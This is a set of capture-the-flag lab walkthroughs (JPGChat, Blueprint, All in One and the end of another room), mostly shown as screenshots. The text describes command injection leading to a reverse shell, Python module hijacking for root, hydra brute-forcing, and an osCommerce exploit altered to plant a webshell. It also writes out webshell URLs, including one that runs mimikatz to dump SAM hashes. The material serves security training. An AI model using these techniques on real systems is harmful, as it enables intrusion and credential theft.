![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuG3TNPnkNFwqias8Y%2Fimage.png?alt=media\&token=20377dd2-445d-4cb0-b30e-a94e599c5b89)

Looks like we have a password and someone called `Johny Graves`, lets go check on google who this guy is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuHt_J12k2e9awJEIk%2Fimage.png?alt=media\&token=cdd5a9c2-05f2-45a5-a789-21659f1e9f9f)

Found his twitter and an interesting post about his favorite `crypto` method.

Lets now look at the recovery page we found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuINCIgjM7gEQm5Uki%2Fimage.png?alt=media\&token=b8987aa2-22e4-4713-8d93-3df56cd7dd7c)

Its a password recovery tool, lets look at the source code.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuIY4Ojzxloy9_BrZt%2Fimage.png?alt=media\&token=d684c4f6-cab1-4eed-9648-d6004cbae995)

We have another string, lets try using the method we found in the Twitter post

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuJ7Cngr1VDweF4kbx%2Fimage.png?alt=media\&token=c121b81c-051c-4f58-a679-4624e4e880fa)

Lets visit the bit.ly link

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuJL0kE9mrZltgQYb6%2Fimage.png?alt=media\&token=a14c9ff6-2218-460f-bc6b-80132c13556a)

Its a dinosaur page, lets go to the home as there is his password there.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuJV9nn9ow6UOZWHrr%2Fimage.png?alt=media\&token=b5a947e1-a7f0-4d2c-8b22-165b2cd5e252)

We have the same dinosaur, his password might be hidden in this , lets use `steganography` to find hidden information in this image, lets first download the image to our machine.

Looking at the source , we can find the link to the image

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuJoftpP-S7skAI3q-%2Fimage.png?alt=media\&token=77b07ae7-ffca-4047-9259-85f000e89e40)

Lets download the image

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuJuTvQ5LNZ8wKBSO4%2Fimage.png?alt=media\&token=9f26ee99-1c49-43f2-a821-9e6c8ebfdcfc)

Lets use `steghide` to find hidden files, its asks for a password, we can use the one we found when we decoded the first string.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuKNEwALiHiSb1Ejtj%2Fimage.png?alt=media\&token=d07de27f-6c1f-4f92-93f4-d13734d95aa8)

Lets read this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuKSG-BEC0pxToAQ5m%2Fimage.png?alt=media\&token=e3547931-8609-46f3-ab0b-3b25495330ed)

Damn, lets download the other image

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuKehLOkXtuyG59NyP%2Fimage.png?alt=media\&token=2641166c-c86f-4558-b16f-d820f4aac96b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuKnNlPE-Ucnbw0tmS%2F-McuKq3G4ck_Gff0D3a2%2Fimage.png?alt=media\&token=ce54cc83-e1f4-46f8-9a7c-4d120ff0fee4)

We have another file, lets check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuKnNlPE-Ucnbw0tmS%2F-McuL-o6eTKv_EKmo3Mi%2Fimage.png?alt=media\&token=820f64f3-838c-4095-816b-859937462ecb)

We have the username and the password, lets login in the recovery page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuKnNlPE-Ucnbw0tmS%2F-McuLbi1nqQhGean-MbO%2Fimage.png?alt=media\&token=58967dc7-af0e-442f-97d6-8a268bd4d83f)

## Exploitation

Lets run a command using the cmd parameter

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuLrign6VHUaraVjo5%2Fimage.png?alt=media\&token=5b148bc1-ecc4-4508-b117-fdbfe2cbd3bd)

So our commands are working, we have Remote Code Execution on the machine, lets navigate through the machine and look for interesting files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuMFqUgFT4Rx6eDIcW%2Fimage.png?alt=media\&token=dc6ebd85-c215-413b-9fcf-3593d451eaa5)

We have an interesting file, lets read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuMYDQznVHdrXL0dj1%2Fimage.png?alt=media\&token=172200bf-6cdc-4910-b344-ce81d1914fdd)

Its a list of passwords, lets copy them onto our machine and name the file `passwords.txt.` One of these might be Jack's password, lets use `hydra` to get the right password for logging into ssh

First lets save the passwords

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuMzoy-o4Dw6eLHULr%2Fimage.png?alt=media\&token=fa8be12b-1cfb-4f64-a7d5-8855bd4405ca)

Now lets use hydra.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuNDpFjiqh5GtJ-fuF%2Fimage.png?alt=media\&token=dbc4e133-1f4b-403d-b8b6-6d6255bf730f)

We have the password, lets login through ssh.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuOJghrCdCsQjnf6AA%2Fimage.png?alt=media\&token=de85cf6c-7ff7-4ca0-b1cd-40147da68124)

Lets download this image to our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuOP6vJDqxBlBkv2ho%2Fimage.png?alt=media\&token=51e41140-89e8-4050-8373-40fda3842028)

Lets open the file and see what it says

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuOiHlw_D3zfazrXD_%2Fimage.png?alt=media\&token=b685b00a-48d6-4e19-951c-f66dcb31ceb5)

We have the user flag

## Privilege Escalation

We do not have sudo permissions so lets look at the `SUID` files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuPDGCr4I6Odet86nY%2Fimage.png?alt=media\&token=d011b55e-2332-44f7-9c7b-9af0c51f87cf)

`/usr/bin/strings` is interesting

Lets get more information about this on [GTFOBins ](https://gtfobins.github.io/gtfobins/strings/#suid).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuPV6ZIvZdA1oeJJ_m%2Fimage.png?alt=media\&token=c53ad66a-81b9-4214-83db-2699328744c8)

Looks like we can run the strings command on any file we want, so lets run it on the root/root.txt file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuPnFDXEcu8PhREH2e%2Fimage.png?alt=media\&token=f94af99e-736c-4559-81bc-c1fdb73bffbc)

We have the root flag.


# JPGChat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcpph-yEMsoS0xmg3cg%2F-McppnTLGNhtlsTnJx6u%2Fimage.png?alt=media\&token=e8bedac9-a695-464b-94b3-b1dc264c720c)

## Scanning

Lets run some nmap scan to get information about the open ports and services on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McpposoxPobETBTJEr_%2F-McpqFrx7nXgtjOPPSTY%2Fimage.png?alt=media\&token=e89a4118-3535-428e-9821-e4c48e7ca278)

## Enumeration

Lets visit port 3000

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McpposoxPobETBTJEr_%2F-McpqlQYraWntZ8WhmsJ%2Fimage.png?alt=media\&token=7ffdad70-6b13-475e-88d6-ecf0f6ed3a22)

There is nothing of interest in the source code and nothing in the Developer tools, so lets go find the admins GitHub they talk about.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-Mcprp0AyFBs7ZXlrOPn%2Fimage.png?alt=media\&token=03d9a635-aef9-4cba-9ad2-385549ae201b)

We have a file, lets copy it to our machine and check the code out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-Mcps4C3BxVYZuUi6GpO%2Fimage.png?alt=media\&token=ab06e3e8-0c3f-4e39-92b9-2916a3e7463c)

Looking at the code, we can see that the os.system is used to echo the input from \[REPORT] to a text file. There is no sanitization of input, we can exploit this by using `';` to close the echo command and then we can run any command followed by a `#`

## Exploitation

Lets connect to the web app on port 3000 using netcat so that we can interact with the chat service.

Lets first start a netcat listener and then execute the commands to get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpuSbPxdzn96daYnMq%2Fimage.png?alt=media\&token=87f79888-c7db-4885-b3eb-3d47995ab6bb)

Now lets run the commands by choosing the `REPORT` option

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpuZH-7i-HlL6ROjP6%2Fimage.png?alt=media\&token=8d17b163-2a4c-4449-af80-5839fae5b292)

After running these commands, you should get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpumLMuMLOn8fkcOdh%2Fimage.png?alt=media\&token=4957fb9b-e25e-4fe2-b8fe-bda6467a5887)

Lets stabilize the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-Mcpuy_KLwlZITmyQeYq%2Fimage.png?alt=media\&token=caf10fb3-2175-49ed-954e-5630189d3b39)

Lets read the user flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpvK65nx2yHFBiLrkZ%2Fimage.png?alt=media\&token=54cc16d1-50b1-4e6c-b4e1-1c8a38ff4b1e)

## Privilege Escalation

Lets run `sudo -l` to see what we can run as other users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpvaBdW5TA6K8YLEQ0%2Fimage.png?alt=media\&token=03868f93-9194-49c3-b0f2-a56b66863f61)

Looks like we can run this file, lets check what it contains and also the permissions of the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpwBOrWE1UZMNPA69X%2Fimage.png?alt=media\&token=2bb8fb3e-f096-4624-b58c-021d23a178b9)

Looks like we are importing the compare module. So what we can do is change the `Environment variable` and set it to our own `compare.py` file with a root shell spawn and then run the file which will run our file and give us a root shell.

Lets first create our compare.py file and add the script that will give us a root shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpyMM8uzGtYerMyqO0%2Fimage.png?alt=media\&token=e94699fd-b3ce-417d-ab57-336f7f913e1b)

Lets now force python to load our module file instead of any other and run the `test_module.py` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McprcB2kwxuu9YRpB5f%2F-McpyXi7CW5uYfhh2xBq%2Fimage.png?alt=media\&token=365359cc-2d0e-4ea4-b16a-43c575728e69)

We are now root. We can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McpybyW9NSEeQc2m_9C%2F-Mcpyo1WtNlwgoC1CkHV%2Fimage.png?alt=media\&token=a4c38318-72d7-4588-a174-3e05cae79a9a)


# Blueprint

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mckninp-3gDrJNX96RW%2F-McknpLwONNwiQb00Zm5%2Fimage.png?alt=media\&token=839b4146-dfaf-4053-bde3-77018688c0ee)

## Scanning

Nmap scan to find open ports

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mckninp-3gDrJNX96RW%2F-Mcknwt9VC866gKWiScG%2Fimage.png?alt=media\&token=4a4aff3d-1d58-46c2-bb11-b32eef9a1d0f)

Detailed nmap scan&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mckninp-3gDrJNX96RW%2F-Mckp90Ued9MKyOxGR2P%2Fimage.png?alt=media\&token=914b7d4e-5f4a-4615-a7e0-235d6539092c)

## Enumeration

We will start with http as we get a lot of information from here, we will first look at Port 8080 as Port 80 is showing a `404 file/directory` not found and Port 443 is https

### Port 8080: HTTP

Lets visit the site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MckpArdOXSijCngglnO%2F-Mckqlg81CxnfhJZIOzN%2Fimage.png?alt=media\&token=1941a90d-f69b-4f79-9c14-ff18833d0099)

We have the service and the version and a lot of information being displayed, lets check these directories.

#### `/catalog`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MckpArdOXSijCngglnO%2F-MckrAo2BoztOlxcr9wo%2Fimage.png?alt=media\&token=7ed6eb7f-9f3c-4f19-95f3-794ae2cfc731)

Does not look like a well made website, well first lets search for exploits on this service on searchsploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MckpArdOXSijCngglnO%2F-MckrX9Muwsbz4HHH3Uw%2Fimage.png?alt=media\&token=4144870a-0489-48d1-a9c7-de2c0ca9f5b5)

We have 7 exploits, the last two are the ones that are the most interesting, lets test them out.

Lets copy these exploits to our directory and look at them at detail

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MckpArdOXSijCngglnO%2F-McksIZo-xPMNTRKTKHQ%2Fimage.png?alt=media\&token=cc3edb9e-8204-4ef6-a8af-a1763386f8b9)

Lets rename the files so that we know what exploits they are

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-MckswkF0qbVdvqgAQpu%2Fimage.png?alt=media\&token=402e1466-0246-4352-8727-586515a957c1)

Now lets look at the Arbitrary File Upload exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-McktCJZMI8eOPrxjuuV%2Fimage.png?alt=media\&token=22e549aa-c969-4d94-b8ef-e7b432aa53af)

Looking at the exploit , I highlighted the important lines , we are attacking the `/admin` directory, so we need a username and a password to login so that we can authenticate ourselves, but we do not have credentials, so we cannot use this exploit until we have credentials. Lets look at the Remote Code Execution exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-McktmGVX2w47WZhp0F0%2Fimage.png?alt=media\&token=95459a4d-3e90-4b9e-ac94-241132a56fc5)

This exploit does not require any information from our side, so I think we can use this exploit, lets change the URL in the exploit to the IP of the victim machine and we also have to add port 8080 and change the version of oscommerce as ours is different.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco0lobXe1Rw2R6AbQN%2Fimage.png?alt=media\&token=416078dc-eeec-4170-8e7b-9b7959a1a5c2)

## Exploitation

Now lets save the file and run the exploit.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-Mckv0AgqGPQ5xlca6gY%2Fimage.png?alt=media\&token=fc14a63f-9c71-4c96-a35b-abb85c2b2664)

Looks like the exploit was successful, lets visit this URL

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-MckvEu8aOFKYBYDtT5S%2Fimage.png?alt=media\&token=bf6b5121-fa08-4cc1-8896-39a8b680acea)

Oh, so `system()` has been disabled, lets go change it to `exec()`

Before

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-MckvQ4ZwsGZC4Tuj0NT%2Fimage.png?alt=media\&token=2b4293b6-3de9-43b5-97fd-fef85dace7d4)

After

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-MckvVt_QPBU5MY86x0U%2Fimage.png?alt=media\&token=64ddc701-81a7-4705-8841-7c056b4039e2)

Now lets run the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-MckvpCfgWkJcGVfCsrB%2Fimage.png?alt=media\&token=aa5e6d6a-af8e-46a6-a8c0-b4d66620f9fd)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McksQyZ9Snty6nHqqMy%2F-MckvqzkSQROeffYRZD3%2Fimage.png?alt=media\&token=8e0fd2e1-3f50-4650-8843-9dd0a1296715)

Ok, so we do not know if the code is being executed, so lets change the contents of the exploit and add code that will download a webshell onto the webserver, there are a number of steps to do, so lets go through them one by one.

So first lets change the code in the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco-F1CPiTBgBgZti34%2Fimage.png?alt=media\&token=a2be9ac7-fd81-4c07-93b9-2c151ae9d111)

Make sure it is the same as this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco-JCm0W2EC3DbgB0V%2Fimage.png?alt=media\&token=5fedc33d-fca9-4eee-9932-674427f5c4e9)

Make sure you add your own IP instead of mine. Now save the file and run the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco3emBW4S_hsay6prE%2Fimage.png?alt=media\&token=0f9d2a9a-2a3c-477b-8315-8461d30bedc2)

Now start a http server so that the webserver can download the shell.php file we are going to upload

![The shell.php file](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco-ePfNmdG-mfVhU9v%2Fimage.png?alt=media\&token=14acc09d-b860-40d8-af03-fc7d39239410)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco-iHxC6ebKxYdWtHN%2Fimage.png?alt=media\&token=ec3c7cca-9199-4ead-aabb-a8c99ca070e3)

Now go to the link they gave when we ran the exploit.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco-q2rz8jMkTgeThWP%2Fimage.png?alt=media\&token=23e2ed1e-55f6-403d-9370-e02865af8499)

Once you do, you should see that some files were downloaded onto the webserver.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco-wkmmyRxwmY5_nym%2Fimage.png?alt=media\&token=2f7e46f0-e6e9-45cf-83ba-0ed88e3bd280)

Now if you go to the includes directory you should see the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco09Opm55zGijlKvta%2Fimage.png?alt=media\&token=e3d787ad-3998-4091-950d-f00c5f6c5d04)

Now we can execute command by going to this URL

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco0MPcxOjdFbx97uqc%2Fimage.png?alt=media\&token=e002a260-a6e2-4145-ae92-cae88f070921)

The important part is the parameter, it should be cmd, and whatever command you put after the `=` symbol, that command will be executed.

We can get the root flag by going to this URL&#x20;

```
http://<Machine IP>:8080/oscommerce-2.3.4/catalog/install/includes/shell.php?cmd=type%20C:\Users\Administrator\Desktop\root.txt.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco2HXV76BDWQithVGc%2Fimage.png?alt=media\&token=c638507f-cf44-44da-9e73-1766dc99abc8)

To get the answer to the first question we need to dump the hashes so that we can get the NTLM hash, to do this we need to upload a `mimikatz.exe` file which will help us with this task, so lets do that.

First locate the file on your machine and copy it to your directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco3OfX-bSO-JHHMDoM%2Fimage.png?alt=media\&token=576da4cf-270b-4db6-8197-8febf623502c)

Now we have to upload it, so lets go the exploit file and change the file that we want to upload

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco3wmmwBTwidzkycET%2Fimage.png?alt=media\&token=704c9630-d99c-4f8b-8f4d-263652ebb544)

Now lets run the exploit again  go to the URL they give us.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco42t_2_CBcNisBZ4A%2Fimage.png?alt=media\&token=ff332227-84a2-43ec-9a54-3b123041417e)

Once you do, you should see that the file has been downloaded

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco4MlkvANG6bIhQfGS%2Fimage.png?alt=media\&token=46e82173-fc84-40dc-afa3-7830d3e41176)

Now go to the includes folder and you should see the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco-0JSNLGOQVCv1Vkf%2F-Mco4W2LdjSwsIUgdznq%2Fimage.png?alt=media\&token=1c7849cd-0f10-4362-a8f5-18682b96b980)

Now if we go to this URL and run the command that I found after researching on google , we should in theory get the NTLM Hash.

The URL

```
http://<Machine IP>:8080/oscommerce-2.3.4/catalog/install/includes/shell.php?cmd=mimikatz "lsadump::sam" exit
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco4XsMUVadw_NWclvS%2F-Mco5vXnaNPu3eLKRC0J%2Fimage.png?alt=media\&token=3b0ef1b0-a906-4e21-bebd-62f0f7a63ace)

We have the hash, lets crack it using [Crackstation](https://crackstation.net/)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mco4XsMUVadw_NWclvS%2F-Mco69LoQrsDSY2VSDMR%2Fimage.png?alt=media\&token=f14e7bca-1f77-4b87-ad85-b05970982694)

This is the answer to the first question, we now completed the room.


# All in One

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-McewcSZoq1LxWVCGLSU%2Fimage.png?alt=media\&token=979a9c1d-c114-4cb5-9ff4-95834c02a61a)

## Scanning

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.117.119
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-McexNWUsoD2g_ugmzWz%2Fimage.png?alt=media\&token=7371ed36-1817-4cc4-a41b-de2349c91acf)

Detailed Nmap Scan :&#x20;

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.117.119
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-McexQDmnhOIftyzQnqn%2Fimage.png?alt=media\&token=616bd8ab-be09-49e2-b661-123571ee79ed)

## Enumeration

Lets look at FTP as `anonymous` login is allowed

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-Mcexl-cvQ2hzXDfyf3r%2Fimage.png?alt=media\&token=ea842e97-6196-49c0-8a51-396d2d0590af)

And there is nothing in the FTP server, lets look at the webserver

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-MceyW4WHKB0AzrUh9kE%2Fimage.png?alt=media\&token=3455a335-a658-4197-93b6-2546b07a0206)

Its an Apache2 default page, lets run `gobuster` to look for hidden directories.

